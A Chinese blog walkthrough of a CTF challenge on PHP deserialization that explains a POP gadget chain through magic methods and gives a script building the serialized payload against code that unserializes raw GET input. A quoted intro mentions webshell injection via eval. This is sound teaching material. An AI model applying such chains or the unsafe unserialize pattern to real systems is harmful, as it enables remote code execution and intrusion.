PHP反序列化漏洞之pop链2

目录

题目:

题目代码:

分析:代码审计

通过以上分析,最终我们构建这个payload:

结果:

 目标达到!


题目:

 这个题目分析就有难度了,需要掌握php的魔法方法的使用以及调用条件。

初识PHP反序列化_奋斗的小智的博客-CSDN博客但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖,将POST接收的phpin佛()值覆盖所定义的值,这里也可以传入一句话木马等,利用我们的eval危险函数(任意命令执行)进行执行。在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。https://blog.csdn.net/weixin_60719780/article/details/128795216?spm=1001.2014.3001.5501php反序列化漏洞之pop链_奋斗的小智的博客-CSDN博客常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与https://blog.csdn.net/weixin_60719780/article/details/128943473?spm=1001.2014.3001.5501

题目代码:

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:xxxxxxxxxxxx";
    }
}
$a = $_GET['string'];
unserialize($a);
?>

分析:代码审计

首先查看php的魔术方法,该题目涉及了(__destruct()、__call($test2,$arr)、__invoke()、__toString()),我们的目的是要拿到flag。

第一步;要拿到flag,首先我们要进入get_flag函数里,而且还在GetFlag的类中,我们要进入这个类中;在__toString方法中,有这样一段代码:$this->str1->get_flag(); 我们可以把str1设为GetFlag,并且string1要为字符串,这是__tostring方法的条件。

即:$this->str1 = new GetFlag()

第二步:发现类func中存在__invoke方法执行了字符串拼接,所以我们需要把func当成函数使用自动调用__invoke,所以mod1的值为string1

即:$this->mod1 = new string1()   这样的话在字符串拼接的时候就会触发魔术方法__toString()

第三步:在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;

即:$this->mod1 = new func()   将func类作为函数调用就会触发魔术方法__invoke()

第四步:在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。

即:$this->mod1 = new funct()   因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()

第五步:查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里

即:$this->mod1 = new Call()

通过以上分析,最终我们构建这个payload:

<?php
class start_gg
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new Call();
        //把$mod1赋值为Call类对象
    }
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1 = new funct();
        //把 $mod1赋值为funct类对象
    }
    public function test1()
    {
        $this->mod1->test2();
    }
}

class funct
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new func();
        //把 $mod1赋值为func类对象

    }
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __construct()
    {
        $this->mod1= new string1();
        //把 $mod1赋值为string1类对象

    }
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    }
}
class string1
{
    public $str1;
    public function __construct()
    {
        $this->str1= new GetFlag();
        //把 $str1赋值为GetFlag类对象
    }
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag:"."xxxxxxxxxxxx";
    }
}
$b = new start_gg;
//构造start_gg类对象$b
echo urlencode(serialize($b));
//显示输出url编码后的序列化对象

结果:

我们先执行下payload.php

 拿到结果后,我们构建url

 目标达到!

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值